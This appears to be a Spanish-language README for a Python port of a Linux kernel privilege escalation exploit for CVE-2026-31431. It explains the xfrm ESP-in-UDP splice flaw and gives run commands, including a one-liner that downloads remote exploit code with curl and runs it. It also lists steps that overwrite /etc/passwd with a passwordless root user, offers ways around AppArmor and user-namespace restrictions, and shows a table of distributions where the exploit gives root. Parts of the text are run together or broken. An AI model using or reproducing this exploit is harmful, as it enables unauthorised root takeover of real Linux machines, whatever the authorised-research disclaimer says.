
Explotación de escalada de privilegios local en el kernel de Linux para CVE-2026-31431, aprovechando xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW para sobrescribir /etc/passwd y obtener acceso root.
Puerto en Python del exploit de kernel CopyFail2 que aprovecha la ruta rápida sin copy-on-write de MSG_SPLICE_PAGES en xfrm ESP-in-UDP para la escalada local de privilegios en Linux sin privilegios.
Reemplaza una entrada nologin/false en /etc/passwd con un usuario uid-0 sin contraseña y accede a una shell root mediante su.
El fallo del kernel reside en la ruta de splice UDP utilizada por la encapsulación xfrm ESP-in-UDP. splice() en un socket UDP con MSG_SPLICE_PAGES hace que las páginas se mapeen en la caché de páginas del receptor sin activar copy-on-write. Esto permite escribir en cualquier archivo actualmente mapeado en la caché de páginas, incluso si se abrió en modo solo lectura.
MSG_SPLICE_PAGES)libcrypto.so (OpenSSL)CAP_NET_ADMIN o la capacidad de crear namespaces de usuarioEste repositorio proporciona dos variantes. Ambas producen el mismo resultado; elige según tus limitaciones.
# Una línea mediante pipe
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"
# Archivo guardado
python3 exploit.py
# Revertir cambios
python3 exploit.py --clean
python3 exploit_raw.py
python3 exploit_raw.py --clean
En Ubuntu con apparmor_restrict_unprivileged_userns habilitado, guarda el archivo primero y ejecútalo desde disco; el modo pipe omite el baile de evasión de AppArmor.
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py
/etc/passwd para convertirlo en el valor deseado.127.0.0.1:4500.splice() de tres rangos (cabecera ESP, byte objetivo de /etc/passwd, ICV) en un pipe.splice() del pipe en el socket UDP, activando el fallo del kernel y escribiendo el byte en la caché de páginas.nologin/false con sick::0:0:...:/:/bin/bash.su - sick accede a root (PAM nullok acepta contraseña vacía).cannot acquire CAP_NET_ADMIN
Tu kernel puede tener kernel.unprivileged_userns_clone=0. Habilítalo:
sudo sysctl kernel.unprivileged_userns_clone=1
Si se ejecuta dentro de Docker, inicia el contenedor con --privileged o --cap-add=SYS_ADMIN.
Esta herramienta se proporciona únicamente para investigación de seguridad autorizada y fines educativos. No la uses contra sistemas que no poseas o para los que no tengas permiso explícito de prueba. Los autores no asumen ninguna responsabilidad por el mal uso o los daños causados por este software.
| Archivo | Descripción | Velocidad | Cuándo usarlo |
|---|
exploit.py | Optimizado — reutiliza el estado xfrm/sockets/pipe entre mutaciones, agrupa 2 bytes consecutivos por ronda, sondeo activo en lugar de espera fija. | ~3–8 s para una línea de 99 bytes | Opción predeterminada. Rápido, estable, probado en múltiples distribuciones. |
exploit_raw.py | Referencia — lo más cercano al código C original. Recrea el estado xfrm, sockets, pipe y archivo temporal para cada byte individual, espera fija de 200 ms por mutación. | ~30–40 s para una línea de 99 bytes | Úsalo si quieres la ruta de código más simple posible para auditoría, o si la versión optimizada se comporta mal en una compilación de kernel específica. |
| Distribución | Kernel | Resultado |
|---|
| Ubuntu 24.04 LTS | 6.8.0-110-generic | root |
| Debian 13 | 6.12.74 | root |
| Arch | 6.19.11-arch1-1 | root |
| Fedora 43 | 6.19.14-200.fc43 | root |
| Ubuntu 26.04 LTS | 7.0.0-15-generic | root |
| Ubuntu 22.04 LTS | 5.15.0-176-generic | no vulnerable |